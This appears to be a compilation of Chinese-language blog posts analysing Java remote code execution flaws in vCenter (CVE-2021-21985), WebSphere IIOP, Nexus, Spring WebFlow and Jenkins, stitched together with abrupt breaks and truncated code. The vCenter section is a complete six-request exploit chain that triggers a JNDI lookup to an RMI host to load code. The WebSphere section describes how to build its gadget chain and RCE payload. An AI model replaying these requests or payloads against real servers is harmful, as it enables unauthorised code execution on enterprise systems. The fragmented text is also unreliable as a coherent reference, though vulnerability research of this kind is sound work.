废话不多讲,老外对补丁的分析,具体补丁的分析和漏洞点可以看这篇文章 https://attackerkb.com/topics/X85GKjaVER/cve-2021-21985
这个漏洞主要是对Spring 管理的bean进行相关的方法对象操作,但是这里不同的是,操作的bean在内存中基本上都是一个对象,这样就可以通过多次方法调用来实现伪链式调用。
Vcenter 开启Debug端口,可以直接在 C:\ProgramData\VMware\vCenterServer\cfg\vmware-vmon\svcCfgfiles\vsphere-ui.json 文件中取消remote debug注释即可。
这里以JNDI的利用为例子,关于其他的例如执行命令回显什么的,有兴趣的自己去找就行,这里就不对利用进行分析了,太费时间了。
注:Vsphere UI 默认是Tomcat中间件,所以用Tomcat RMI Bypass 那种方式就可以执行任意代码。
step 1 setTargetObject to null
POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setTargetObject HTTP/1.1
Host: 192.168.18.17
Connection: close
Cache-Control: max-age=0
sec-ch-ua: “ Not;A Brand”;v=”99”, “Google Chrome”;v=”91”, “Chromium”;v=”91”
sec-ch-ua-mobile: ?0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,ja;q=0.7,zh-TW;q=0.6,vi;q=0.5,mt;q=0.4,pt;q=0.3,fr;q=0.2,ca;q=0.1,hu;q=0.1
Cookie: JSESSIONID=C03BB7804BB41971B1CC494C335FB589; JSESSIONID=A91204E1CE2079AD5D08A38919D210AA
Content-Type: application/json
Content-Length: 22
{“methodInput”:[null]}
step 2 setStaticMethod to payload
POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setStaticMethod HTTP/1.1
Host: 192.168.18.17
Connection: close
Cache-Control: max-age=0
sec-ch-ua: “ Not;A Brand”;v=”99”, “Google Chrome”;v=”91”, “Chromium”;v=”91”
sec-ch-ua-mobile: ?0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,ja;q=0.7,zh-TW;q=0.6,vi;q=0.5,mt;q=0.4,pt;q=0.3,fr;q=0.2,ca;q=0.1,hu;q=0.1
Cookie: JSESSIONID=C03BB7804BB41971B1CC494C335FB589; JSESSIONID=A91204E1CE2079AD5D08A38919D210AA
Content-Type: application/json
Content-Length: 56
{“methodInput”:[“javax.naming.InitialContext.doLookup”]}
step 3 setTargetMethod to doLookup
POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setTargetMethod HTTP/1.1
Host: 192.168.18.17
Connection: close
Cache-Control: max-age=0
sec-ch-ua: “ Not;A Brand”;v=”99”, “Google Chrome”;v=”91”, “Chromium”;v=”91”
sec-ch-ua-mobile: ?0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,ja;q=0.7,zh-TW;q=0.6,vi;q=0.5,mt;q=0.4,pt;q=0.3,fr;q=0.2,ca;q=0.1,hu;q=0.1
Cookie: JSESSIONID=C03BB7804BB41971B1CC494C335FB589; JSESSIONID=A91204E1CE2079AD5D08A38919D210AA
Content-Type: application/json
Content-Length: 28
{“methodInput”:[“doLookup”]}
step 4 setArguments with payload args
POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setArguments HTTP/1.1
Host: 192.168.18.17
Connection: close
Cache-Control: max-age=0
sec-ch-ua: “ Not;A Brand”;v=”99”, “Google Chrome”;v=”91”, “Chromium”;v=”91”
sec-ch-ua-mobile: ?0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,ja;q=0.7,zh-TW;q=0.6,vi;q=0.5,mt;q=0.4,pt;q=0.3,fr;q=0.2,ca;q=0.1,hu;q=0.1
Cookie: JSESSIONID=C03BB7804BB41971B1CC494C335FB589; JSESSIONID=A91204E1CE2079AD5D08A38919D210AA
Content-Type: application/json
Content-Length: 50
{“methodInput”:[[“rmi://192.168.18.1:9999/iswin”]]}
step 5 initial payload class and methods
POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/prepare HTTP/1.1
Host: 192.168.18.17
Connection: close
Cache-Control: max-age=0
sec-ch-ua: “ Not;A Brand”;v=”99”, “Google Chrome”;v=”91”, “Chromium”;v=”91”
sec-ch-ua-mobile: ?0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,ja;q=0.7,zh-TW;q=0.6,vi;q=0.5,mt;q=0.4,pt;q=0.3,fr;q=0.2,ca;q=0.1,hu;q=0.1
Cookie: JSESSIONID=C03BB7804BB41971B1CC494C335FB589; JSESSIONID=A91204E1CE2079AD5D08A38919D210AA
Content-Type: application/json
Content-Length: 18
{“methodInput”:[]}
step 6 trigger method invoke
POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/invoke HTTP/1.1
Host: 192.168.18.17
Connection: close
Cache-Control: max-age=0
sec-ch-ua: “ Not;A Brand”;v=”99”, “Google Chrome”;v=”91”, “Chromium”;v=”91”
sec-ch-ua-mobile: ?0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,ja;q=0.7,zh-TW;q=0.6,vi;q=0.5,mt;q=0.4,pt;q=0.3,fr;q=0.2,ca;q=0.1,hu;q=0.1
Cookie: JSESSIONID=C03BB7804BB41971B1CC494C335FB589; JSESSIONID=A91204E1CE2079AD5D08A38919D210AA
Content-Type: application/json
Content-Length: 18
{“methodInput”:[]}
]]>7月20号,ZDI官方Blog公布了一个名为abusing-java-remote-protocols-in-ibm-websphere 的文章,文章中提到了Websphere的两个漏洞,一个是RCE,另外一个是XXE,根据Blog中的内容来看,漏洞属于IIOP协议的反序列化,也是基于JNDI的利用,但是跟常规的JNDI利用有一些不同之处,一方面是Websphere将IIOP替换成自己的实现,另外就是Websphere严格的类加载机制导致大部分公开的利用链都没法利用,这个漏洞利用需要访问至少2809端口以及两次外连请求,从红队利用角度来看稍微有点鸡肋,但是漏洞的利用思路以及EXP的构造都非常的有意思,是一个值得研究的漏洞。
经常做分析的同学都有深刻体会,针对有些不了解、不熟悉的系统进行分析时往往在环境准备上会耗费大量时间,而且有部分漏洞的利用需要在特定的条件和环境下进行,经常是”环境准备1天,分析调试10分钟“。
Websphere的安装有两种方式:
注:尽量不要选择基于Docker的安装环境,JAVA大部分RMI通信会依赖其他端口(一般是高端口)进行通信,安装的时候一定不要选补丁,不然复现不了,在线安装的版本是自带补丁的版本,本次测试的环境主要覆盖了两个版本,8.5.5.0以及9.0.0.2版本,这两个版本基本上涵盖了主流的版本。
一般情况下调试之前我们要看下端口对应是哪些进程启动,然后给对用的进程加上远程Remote Debug选项,Websphere的远程调试直接在后台对应Application Server下面设置Remote Debug就可(2809的端口以及其它几个端口PID都一样),Websphere之前没有针对性的看过,根据官方的描述我们直接将断点打在com.ibm.ws.Transaction.JTS.TxServerInterceptor#receive_request上,然后用IIOP客户端直接连接,触发断点之后,就可以在堆栈里面看到完整请求的触发路径。
这个回溯的时候我们可以看一下这个漏洞触发点的位置,由于这个点是未授权,所以我们通过回溯可以看一下整体的流程,这个点的Interceptor就类似Java WEB中Filter的功能,回溯到com.ibm.rmi.pi.InterceptorManager#iterateServerInterceptors,可以看到还有一些其他的拦截器
这些点都可以有助于分析人员对系统框架设计上的一些了解,下来直接看到关键的触发点,我们需要首先解决的问题是如何能到达漏洞触发点
我们的目标是进入TxInterceptorHelper.demarshalContext方法,那么这里核心的点就是保证ServiceContext serviceContext = ((ExtendedServerRequestInfo)sri).getRequestServiceContext(0);代码片段中中serviceContext不为空,同时serviceContext.context_data的内容不为空,所以我们先解决如何构造数据包的问题。
IIOP协议的链接主要有两种方式,一种是JAVA提供的标准客户端连接方式,这个的好处是可以通过设置java.naming.factory.initial对应的实现类去处理多种协议,例如T3(S)/IIOP(S)/LDAP(S)等等。
1 | Properties env = new Properties(); |
另外一种就是用ORB客户端直接连接,这种相对来说比较直接一点
1 | Properties props = new Properties(); |
现在的问题是如何在连接过程中设置相应的ServiceContext内容,经过一番搜索,发现可以通过第一种连接方式然后反射手动去加一个ServiceContext的实例,这里直接给出相应的实现,具体怎么找还是去Debug看变量。
现在可以到漏洞触发点了
下面主要是看如何进行数据包的构造,为了能触发反序列化,程序必须得执行到如下代码片段第80行,propContext.implementation_specific_data = inputStream.read_any(); 代码片段。
由于前面有一堆的read*操作在demarshalContext函数中,那么我们可以看下对应marshalContext函数是怎么把对象序列化并且包装发出去的1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17public static final byte[] marshalContext(PropagationContext propContext, ORB orb) {
if (TraceComponent.isAnyTracingEnabled() && tc.isEntryEnabled()) {
Tr.entry(tc, "marshalContext");
}
byte[] result = null;
CDROutputStream outputStream = ORB.createCDROutputStream(orb);
outputStream.putEndian();
PropagationContextHelper.write(outputStream, propContext);
byte[] result = outputStream.toByteArray();
outputStream.releaseBuffer();
if (TraceComponent.isAnyTracingEnabled() && tc.isEntryEnabled()) {
Tr.exit(tc, "marshalContext", result);
}
return result;
}
到这里就可以照猫画虎生成payload,具体的代码片段如下
这里WSIFPort_EJB对象在反序列化的时候回去调用一个对象fieldEjbObject,这个对象的构造稍微麻烦点,我是直接重写了com.ibm.ejs.container.EJSWrapper#getHandle函数,这样所有的构造都有可以在这里面进行,后面会讲到如何进行构造,到目前我们可以进行到反序列化的点,整体的调用链如下(主要是前面提到的inputStream.read_any()到最后调用的函数)1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31readObject:513, WSIFPort_EJB (org.apache.wsif.providers.ejb)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:90, NativeMethodAccessorImpl (sun.reflect)
invoke:55, DelegatingMethodAccessorImpl (sun.reflect)
invoke:508, Method (java.lang.reflect)
invokeObjectReader:2483, IIOPInputStream (com.ibm.rmi.io)
inputObjectUsingClassDesc:2010, IIOPInputStream (com.ibm.rmi.io)
continueSimpleReadObject:749, IIOPInputStream (com.ibm.rmi.io)
simpleReadObjectLoop:720, IIOPInputStream (com.ibm.rmi.io)
simpleReadObject:669, IIOPInputStream (com.ibm.rmi.io)
readValue:193, ValueHandlerImpl (com.ibm.rmi.io)
read_value:787, CDRReader (com.ibm.rmi.iiop)
read_value:847, EncoderInputStream (com.ibm.rmi.iiop)
unmarshalIn:273, TCUtility (com.ibm.rmi.corba)
read_value:664, AnyImpl (com.ibm.rmi.corba)
read_any:467, CDRReader (com.ibm.rmi.iiop)
read_any:797, EncoderInputStream (com.ibm.rmi.iiop)
demarshalContext:171, TxInterceptorHelper (com.ibm.ws.Transaction.JTS)
receive_request:180, TxServerInterceptor (com.ibm.ws.Transaction.JTS)
invokeInterceptor:608, InterceptorManager (com.ibm.rmi.pi)
iterateServerInterceptors:521, InterceptorManager (com.ibm.rmi.pi)
iterateReceiveRequest:732, InterceptorManager (com.ibm.rmi.pi)
dispatchInvokeHandler:629, ServerDelegate (com.ibm.CORBA.iiop)
dispatch:508, ServerDelegate (com.ibm.CORBA.iiop)
process:613, ORB (com.ibm.rmi.iiop)
process:1584, ORB (com.ibm.CORBA.iiop)
doRequestWork:3210, Connection (com.ibm.rmi.iiop)
doWork:3071, Connection (com.ibm.rmi.iiop)
doWork:64, WorkUnitImpl (com.ibm.rmi.iiop)
run:118, PooledThread (com.ibm.ejs.oa.pool)
run:1892, ThreadPool$Worker (com.ibm.ws.util)
这里解决了触发反序列化的这个过程,由于IBM Wesphere自定义的Classloader干掉了一些利用链中所需要类,导致公开的利用链是打不死的,所以我们需要基于WSIFPort_EJB 这个类去找一个新的利用链,基于WSIFPort_EJB 最终利用点在com.ibm.ejs.container.EntityHandle#getEJBObject中的下面代码
92行是漏洞最终的触发点,根据这段代码我们可以看到,ctx.lookup这个函数必须是实现EJBHOME接口的类,这样才能到100行中最后去触发利用点,假定我们不继续往后面跟进,到这里我们可以找到homeClass的要求,要实现或者EJBHOME接口,同时有声明findFindByPrimaryKey方法,并且参数是Serializable类型,那么我们可以快速找到一个接口com.ibm.ws.batch.CounterHome,该接口的具体定义如下:
1 | public interface CounterHome extends EJBHome { |
完全满足我们的需求,现在就是要去找ctx.lookup返回结果满足上面的要求的类,根据ZDI文章中的内容,这个IIOP的实现完全被IBM自己实现了一遍,所以传统的直接去LDAP或者RMI利用在这里是肯定不行的,这个地方的JNDI的调用逻辑主要如下
1 | com.sun.jndi.rmi.registry.RegistryContext#lookup |
我们直接跟进进行进一步分析,重点看org.apache.aries.jndi.ObjectFactoryHelper#getObjectInstance这个函数,JNDI的利用包括RMI的那个BYPASS基本上都在找javax.naming.spi.ObjectFactory接口新的实现类
这里可以看到我们可以指定String factories = (String)environment.get(“java.naming.factory.object”);这个变量,environment变量是我们在反序列化的时候控制的内容,所以这里需要去找一个ObjectFactory可以利用的实现类,可以找到ZDI文章中说的这个org.apache.wsif.naming.WSIFServiceObjectFactory这个类,这个类我们可以看到
到这里不由得让我们想起了之前那个RMIBYPASS的场景https://www.veracode.com/blog/research/exploiting-jndi-injections-java ,倒着我们就可以自定义一个RMI服务,将bind的内容设置成我们可以控制的org.apache.wsif.naming.WSIFServiceStubRef类型,就可以到最下面的函数,为什么上面那个org.apache.wsif.naming.WSIFServiceRef不行,因为前面提到了这个类必须要是EJBHOME的实现类,上面的明显不符合要求,下面的是通过动态代理来生成一个指定接口的类,而且接口的类型我们也可以控制,所以接下来就是如何利用wsif服务来进行代码执行了。
这里ctx.lookup里面的jndi的地址可以设置为自定义rmi的服务,具体的RMI服务代码如下
这里就可以控制wsif相关的内容以及className接口的名称这里可以在设置Reference ref = new Reference(WSIFServiceStubRef.class.getName(), (String)null, (String)null);来指定具体的实现,配合org.apache.wsif.providers.ejb.WSIFPort_EJB序列化中java.naming.factory.object的类型来指定factory的实现类,也可以直接在这里指定factory的实现类这样客户端就不需要指定,两种方式都可以。
WSIFPort_EJB中fieldEjbObject对象的生成内容如下(我手动覆盖了com.ibm.ejs.container.EJSWrapper#getHandle)函数
关于WSIF服务如何进行RCE,这里说下关键点,具体的Sample参考https://www.ibm.com/support/knowledgecenter/ru/SSAW57_8.5.5/com.ibm.websphere.nd.multiplatform.doc/ae/twsf_devwes.html,看完弄个EXP肯定是没问题,factory返回的对象是一个动态代理,实现了com.ibm.ws.batch.CounterHome接口,最终在调用findByPrimaryKey函数的时候回去调用org.apache.wsif.base.WSIFClientProxy#invoke方法,这个方法中使用了WSIFOperation wsifOperation = this.wsifport.createOperation(method.getName(), inputName, outputName); 函数去请求wsif服务进行远程方法调用。
WSIF服务的wsdl描述文件中提供了JavaBind的方式,可以将描述文件中定义的函数(operation name)映射成客户机器中Java类的函数,所以这里我们可以将在wsif描述文件中定义findByPrimaryKey函数以及映射函数的参数和返回类型,这样在最终调用findByPrimaryKey函数的时候会调用到org.apache.wsif.base.WSIFClientProxy#invoke中createOperation函数去进行远程方法调用,客户端在拿到映射后就可以去执行映射类相应的函数了。
这里映射的类和函数是javax.el.ELProcessor类的eval方法,eval函数接受一个String类型的参数映射是符合相应的定义,WSIF对应的XML文件关键片段如下:
1 | <binding name="JavaBinding" type="tns:RceServicePT"> |
而且findByPrimaryKey的参数也是我们在WSIFPort_EJB序列化数据中可以控制的,所以最终就导致了RCE。
最开始在测试Websphere 8.5.5.0的时候,发现有个关键位置
这里获取到Proxy的代理对象result的时候默认就调用ObjectFactoryHelper.logger.log(Level.FINE, “result = “ + result);方法,这个函数会导致调用Proxy代理对象的toString方法,间接的调用org.apache.wsif.base.WSIFClientProxy#invoke方法,org.apache.wsif.base.WSIFClientProxy#invoke方法中有个非常关键的函数(this.findMatchingOperation(method, args);)会导致EXP利用中断,如下图
这里要求调用的函数必须是继承接口(EJBHOME)中一个接口,否则程序主动抛异常(Exception in thread “main” java.lang.reflect.UndeclaredThrowableException)EXP就利用失败,这个点遇到的问题卡了我两天左右,最后看到有人复现成功,测试的9版本,所以我就切换到9版本。
在9版本中修复了这个第三方库的BUG,不主动的调用Log,加了if判断,如下
9.0 版本中org.apache.aries.jndi.ObjectFactoryHelper#getObjectInstanceViaContextDotObjectFactories函数的实现
8.5.5.0 中的org.apache.aries.jndi.ObjectFactoryHelper#getObjectInstanceViaContextDotObjectFactories实现
很明显加了判断,就没这个问题了。
所以8.5.5.0默认情况下有可能打不死(如果不打补丁2013年的那个库之前),9.0.0.2 没问题,其他版本后续慢慢测试。
补个成功截图
最近1年多基本上都在忙实验室其它的工作,基本上很少关注JAVA安全这块的内容,赶上正好周末休息,加上实验室其它小伙伴对这个漏洞比较关注索性就抽出一点时间跟实验室其它小伙伴一起研究了下,就当学习了,这套系统在一些大型的企业里面其实还是有一定使用量的(尤其是在打点过程中),所以在实战的渗透中还是有一些应用场景的。
这个漏洞在19年2月份左右被腾讯安全云鼎实验室发现并且提交Sonatype官方https://cloud.tencent.com/developer/article/1390628,根据官方的通告和云鼎披露来看基本上可以确定该漏洞是未授权的远程代码执行。
经过研究发现该漏洞是一个基于OrientDB自定义函数的任意JEXL表达式执行漏洞,由于JEXL表达式可以执行JAVA代码同时没有安全上的限制,所以间接的就成了远程代码漏洞,这里注意的是漏洞触发条件对于新搭建的环境来说稍微有一点点坑,不过通过跟踪代码应该可以看出一些规律。
由于nexus的环境如果直接用源码在idea里面编译跑起来的话有点麻烦,依赖比较多,所以漏洞环境直接利用docker搭建,然后结合源码nexus-public使用jdwp进行远程调试即可。
根据漏洞描述和披露的利用截图,我们很容易定位到漏洞的触发位置,如下图所示
根据函数的输入我们可以构造如下数据包进行漏洞流程的跟踪
1 | if (type == JexlSelector.TYPE) { |
1 | SELECT FROM asset WHERE (bucket = #24:0 ) AND (contentExpression(@this, "iswin", "maven-central", {"maven-central": ["maven-central"]}) == true ) SKIP 0 LIMIT 300 |
1 | SELECT count(*) FROM asset WHERE (bucket = #24:0 ) AND (contentExpression(@this, "iswin", "maven-central", {"maven-central": ["maven-central"]}) == true ) |
这里就引出了我开篇说道到的在调试的时候一个坑,也反映了漏洞触发的前置条件,即确保被攻击系统仓库中有项目(当然这个要求大部分都能满足,但是对于搭漏洞环境调试人员来说的确非常坑)。
当然了如果只是纯分析这个漏洞,那么上面已经花了大量时间来说了,那么这里主要讨论下在实际攻防环境下的利用,一般情况下我们大部分的攻击环境分为两种,一种是被攻击机机器能出网,另外一种是不能出网的情况。
针对出网的环境我们可以直接弹个SHELL,然后就搞定了,这里我们主要讨论不能出网的环境,针对不能出网的环境环境主要有一下两种利用办法(当然还有其他的奇技淫巧,这里不做讨论)
在这里针对nexus系统来说,且不说能不能解析jsp或者jspx脚本,但凡能写目录都是root权限(docker环境,其它实际部署环境没考证),但是漏洞执行的点为nexus权限,所以写shell基本上没戏,况且nexus不能解析脚本文件,那么现在重点就讨论该漏洞如何回显的问题。
这里就来讨论下针对JAVA WEB系统存在远程代码执行时,如何进行回显的问题,这类的系统例如Struts2、反序列化漏洞等,那么针对表达式类的代码执行,无非就以下几种主流的方法
当然对于nexus系统来说2、3明显是不可行的,那么对于1这种方案到底行不行,一开始的时候我经过一番探索,发现这种环境下回显是不可能的,主要在于jexl表达式的类加载器无法加载到Servlet相关的类,我通过主动类加载的方式加载了相关类,同时我也找到了一个类提供了一个静态方法获取request和response,函数位置com.softwarementors.extjs.djn.servlet.ssm.WebContextManager.get(),但是一直获取到的是null,所以这种方法就放弃了。
从另外一个维度来考虑下JAVA中间件(jetty)是怎么处理请求的,针对每个请求中间件会单启动一个线程来处理,针对这个请求的参数之类的会绑定到当前线程上,这里我做了个实验,如下图所示
Spring严重的漏洞历来都不算多,之前比较严重的那个问题是Spring的JavaBean的自动绑定功能,导致可以控制class,从而导致可以利用某些特性执行任意代码,但是那个漏洞比较鸡肋,不是每次都能触发。
由于Spring的框架越来越多,而且后面引入了SpringEl作为默认的表达式解析方式,所以一旦引入了类似于OGNL的表达式,很可能会带来一些安全问题,本次漏洞就是由于Spring WebFlow的数据绑定问题带来的表达式注入,从而导致任意代码执行。
为了更好的和广大安全爱好者交流,我们搭建了个交流社区,社区主要聚焦在威胁发现以及安全数据分析等领域,我们希望有更多的朋友能加入,能一起分析知识、共同进步。
社区地址:https://threathunter.org/,
感谢大家支持。
注:本文章同步发送到社区,有问题欢迎大家到社区讨论。
这个漏洞在今年6月初刚被提交https://pivotal.io/security/cve-2017-4971,官方并没有详细的信息,通过官方描述和补丁的对比,我们可以大致推断应该是Spring WebFlow在Model的数据绑定上面,由于没有明确指定相关model的具体属性导致从表单可以提交恶意的表达式从而被执行,导致任意代码执行的漏洞,这个漏洞利用除了版本的限制之外还有两个前置条件,这两个前置条件中有一个是默认配置,另外一个就是编码规范了,漏洞能不能利用成功主要就取决于后面的条件。
整体来说这个漏洞危害应该还是有一些的,如果满足2个前置条件,那么直接RCE是没什么问题的。在分析这个漏洞之前需要一些Spring Webflow的基础知识,给大家推荐这篇文章https://www.ibm.com/developerworks/cn/education/java/j-spring-webflow/index.html。
一开始我也不清楚这个漏洞到底是怎么触发,对于这个漏洞的理解,最好去看下Spring WebFlow的教程,搞明白里面的view-state是啥,这里不过多对Spring WebFlow的基础知识过多解释,那么我们直接看补丁,如下图
言归正传,本次漏洞出现的原因就是在view-state节点中数据绑定上,我们继续跟踪addEmptyValueMapping方法的调用过程,这里通过eclipse我们可以发现bind方法间接的调用了addEmptyValueMapping函数,
到这里我们知道了addEmptyValueMapping函数存在表达式执行的点,我们现在来详细看下这个addEmptyValueMapping函数,如下图
这里我们可以看见,只有控制了field参数才能出发漏洞,所以我们重点是找到有没有点我们可以控制从而控制field参数来进行任意代码执行,这里明确目标后,我们回过头来看addDefaultMappings和addModelBindings这两个函数,既然这两个函数都调用了存在缺陷的函数,那么我们看看这两个函数的区别是什么,而且那个函数能能能控制field参数,两个函数的区别如下
for (Binding binding : binderConfiguration.getBindings())
存在这样一个循环,而且就是这个循环的控制决定了field参数的值,经过进一步分析,这里控制field的参数的决定性因素就是binderConfiguration这个变量所控制的值,这里经过源码的跟踪我们可以发现,binderConfiguration函数的值就是webflow-*.xml中view-state中binder节点的配置,所以这个函数的值来源于配置文件,所以这个函数我们无法控制,从而无法触发漏洞,所以我们重点来看看addDefaultMappings这个函数,我们发现addDefaultMappings中我们可以控制field参数,所以我们重点来看看如何去触发这个函数。expressionParser.parseExpression(field, parserContext)
这个函数来执行任意表达式是这个变量的赋值,那么在spring webflow中这个expressionParser的默认值就是WebFlowELExpressionParser的实例,这个类表达式默认的解析是有spel来执行的,具体可以去跟踪函数,那么在org.springframework.webflow.mvc.builder.MvcViewFactoryCreator.createViewFactory(Expression, ExpressionParser, ConversionService, BinderConfiguration, Validator, ValidationHintResolver)这个类如下图项目地址https://github.com/spring-projects/spring-webflow-samples/tree/master/booking-mvc,这里在测试时需要注意修改org.springframework.webflow.samples.booking.config.WebFlowConfig.mvcViewFactoryCreator()方法中的改成 factoryCreator.setUseSpringBeanBinding(false);
因为这个工程修改了useSpringBeanBinding的默认值。
这里直接到订阅图书,上图说了在reviewBooking flow中就能出发,如下图
点击confirm,然后抓包添加恶意参数变量,如下图
OK,大功告成。
[1] :https://pivotal.io/security/cve-2017-4971
[2] :https://www.ibm.com/developerworks/cn/education/java/j-spring-webflow/index.html
这个漏洞在去年11月份官方发布通告的时候我当时关注过,当时自己一直在找com.sun.jndi.ldap.LdapAttribute这个类相关的反序列化,当时意识到这个类里面的getAttributeSyntaxDefinition()方法和getAttributeDefinition()可能会存在反序列化的问题,但是当时找了好多类,发现在发序列化的时候都无法触发这两个方法,原本以为是jdk里面自己的问题,最后就没继续跟下去了,中途有老外放出了一个ppt里面演示了这个漏洞,大概看了下发现是利用json来bypass Jenkins的白名单,当时一直在忙数据分析的事情,事情就搁浅了,前不久刚好MSF上有Payload了,再加上年底了没那么多事了,所以就研究了下,这个漏洞还是挺有意思的,涉及的知识面还是稍微广了一点,这里不得不佩服那些漏洞发现者。
每当一个漏洞漏洞出现的时候,我就在想为什么自己不能发现,当每次漏洞分析完的时候才发现各方面的差距真的是不小。
技术在于分享,这样才能进步。
2016年11月16号Jenkins官方发布了一个安全通告,命名为CVE-2016-9299,从通告上来看,该漏洞依然是个反序列的漏洞,不过这个漏洞的反序列化和LDAP有关,而且在反序列化后需要连接到一个恶意的LDAP服务器,Jenkins对于之前反序列化的修复方法就是对一些恶意的类加上黑名单,所以这里首先得Bypass官方的黑名单,对于该漏洞只有这么多信息,而且在官方给的POC里面也仅仅是提到了com.sun.jndi.ldap.LdapAttribute这个类,这个漏洞的利用首先是不需要认证的,而且能任意代码执行,危害可见一斑。
从官方的描述以及后面的Payload来看,问题和net.sf.json以及com.sun.jndi.ldap.LdapAttribute有关,通过分析对LdapAttribute这个类的分析,我们可以确定以下两个方法是触发反序列化漏洞的根本(关于下文中LDAP的反序列相关的知识请移步16年blackhat老外的Paper “us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE”)
这两个方法中都调用了该DirContext schema = getBaseCtx().getSchema(rdn);代码片段其中getBaseCtx()方法定义如下:
getSchema(rdn)方法最终会调用com.sun.jndi.ldap.LdapBindingEnumeration.createItem(String, Attributes, Vector)方法(调用关系太多,自己去调试),该方法的定义如下图
到这里我们知道了com.sun.jndi.ldap.LdapAttribute中相关的方法能触发反序列化的漏洞,那么现在我们要做的就是去找到一个类在反序列化的时候能调用我们相应触发漏洞的函数,也就是在反序列化时能调用getAttributeSyntaxDefinition方法或者getAttributeDefinition方法的类,通过老外的PPT以及公开的gadgets,我们稍微分析下就会发现在net.sf.json这个类库中存在可以调用类任意getXXX函数的地方,那么com.sun.jndi.ldap.LdapAttribute这个类中的getXXX方法是不是也可以通过这种方式来调用,首先我们先确定究竟是那个类中的那个方法能调用getXXX函数,通过gadgets中的json Payload我们发现最终能调用对象的getXXX函数如下图(net.sf.json.JSONObject.defaultBeanProcessing(Object, JsonConfig))所示
弄明白了能函数调用的根源,下一步就是去找这个函数究竟会怎样触发。通过eclipse我们可以很容易发现如下调用方式。
最终我们找到了一个类可以的某个方法可以调用我们的函数了,但是你可能会发现在eclipse中这样的函数调用关系大多是多态情况下的方法调用,所以我们还需要对equals方法中的方法调用进行分析,这里我们需要注意的是defaultBeanProcessing这个函数的直接调用对象是net.sf.json.JSONArray.fromObject(Object, JsonConfig)方法,我们来看下equals方法
1 | containsAll(c) && c.containsAll(this); |
这里的第一个containsAll方法是触发不了的那个函数的,所以我们只要满足对象o是JSONArray就行了,但是事实上是不行了,因为这个对象o不是Set的子类,所以这条路到这基本上就走不通了,所以我们还得继续找。
继续回到c.containsAll这个地方我们再找那些函数最终调用了containsAll,这里我们发现org.apache.commons.collections.collection.AbstractCollectionDecorator.containsAll(Collection)这个抽象类调用了,来看改函数的定义
1 | protected Collection collection; |
